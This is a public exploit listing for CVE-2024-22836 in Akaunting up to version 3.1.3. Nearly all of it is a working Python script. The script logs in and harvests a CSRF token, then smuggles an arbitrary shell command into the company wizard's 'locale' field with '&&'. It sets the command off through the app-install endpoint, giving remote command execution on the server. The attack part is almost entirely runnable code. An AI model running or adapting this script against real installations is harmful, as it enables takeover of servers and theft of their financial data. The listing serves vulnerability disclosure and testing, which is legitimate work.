Akaunting 3.1.3 Remote Command Execution

# Exploit Title: Akaunting < 3.1.3 - RCE# Date: 08/02/2024# Exploit Author: [email protected]# Vendor Homepage: https://akaunting.com# Software Link: https://github.com/akaunting/akaunting# Version: <= 3.1.3# Tested on: Ubuntu (22.04)# CVE : CVE-2024-22836#!/usr/bin/python3import sysimport reimport requestsimport argparsedef get_company():  # print("[INF] Retrieving company id...")  res = requests.get(target, headers=headers, cookies=cookies, allow_redirects=False)  if res.status_code != 302:    print("[ERR] No company id was found!")    sys.exit(3)  cid = res.headers['Location'].split('/')[-1]  if cid == "login":    print("[ERR] Invalid session cookie!")    sys.exit(7)  return ciddef get_tokens(url):  res = requests.get(url, headers=headers, cookies=cookies, allow_redirects=False)  search_res = re.search(r"\"csrfToken\"\:\".*\"", res.text)  if not search_res:    print("[ERR] Couldn't get csrf token")    sys.exit(1)  data = {}  data['csrf_token'] = search_res.group().split(':')[-1:][0].replace('"', '')  data['session'] = res.cookies.get('akaunting_session')  return datadef inject_command(cmd):  url = f"{target}/{company_id}/wizard/companies"  tokens = get_tokens(url)  headers.update({"X-Csrf-Token": tokens['csrf_token']})  data = {"_token": tokens['csrf_token'], "_method": "POST", "_prefix": "company", "locale": f"en_US && {cmd}"}  res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)  if res.status_code == 200:    res_data = res.json()    if res_data['error']:      print("[ERR] Command injection failed!")      sys.exit(4)    print("[INF] Command injected!")def trigger_rce(app, version = "1.0.0"):  print("[INF] Executing the command...")  url = f"{target}/{company_id}/apps/install"  data = {"alias": app, "version": version, "path": f"apps/{app}/download"}  headers.update({"Content-Type":"application/json"})  res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)  if res.status_code == 200:    res_data = res.json()    if res_data['error']:      search_res = re.search(r">Exit Code\:.*<", res_data['message'])      if search_res:        print("[ERR] Failed to execute the command")        sys.exit(6)      print("[ERR] Failed to install the app! no command was executed!")      sys.exit(5)    print("[INF] Executed successfully!")def login(email, password):  url = f"{target}/auth/login"  tokens = get_tokens(url)  cookies.update({    'akaunting_session': tokens['session']  })  data = {    "_token": tokens['csrf_token'],    "_method": "POST",    "email": email,    "password": password  }    req = requests.post(url, headers=headers, cookies=cookies, data=data)  res = req.json()  if res['error']:    print("[ERR] Failed to log in!")    sys.exit(8)  print("[INF] Logged in")  cookies.update({'akaunting_session': req.cookies.get('akaunting_session')})    def main():  inject_command(args.command)  trigger_rce(args.alias, args.version)if __name__=='__main__':  parser = argparse.ArgumentParser()  parser.add_argument("-u", "--url", help="target url")  parser.add_argument("--email", help="user login email.")  parser.add_argument("--password", help="user login password.")  parser.add_argument("-i", "--id", type=int, help="company id (optional).")  parser.add_argument("-c", "--command", help="command to execute.")  parser.add_argument("-a", "--alias", help="app alias, default: paypal-standard", default="paypal-standard")  parser.add_argument("-av", "--version", help="app version, default: 3.0.2", default="3.0.2")  args = parser.parse_args()    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"}  cookies = {}  target = args.url  try:    login(args.email, args.password)    company_id = get_company() if not args.id else args.id    main()  except:    sys.exit(0)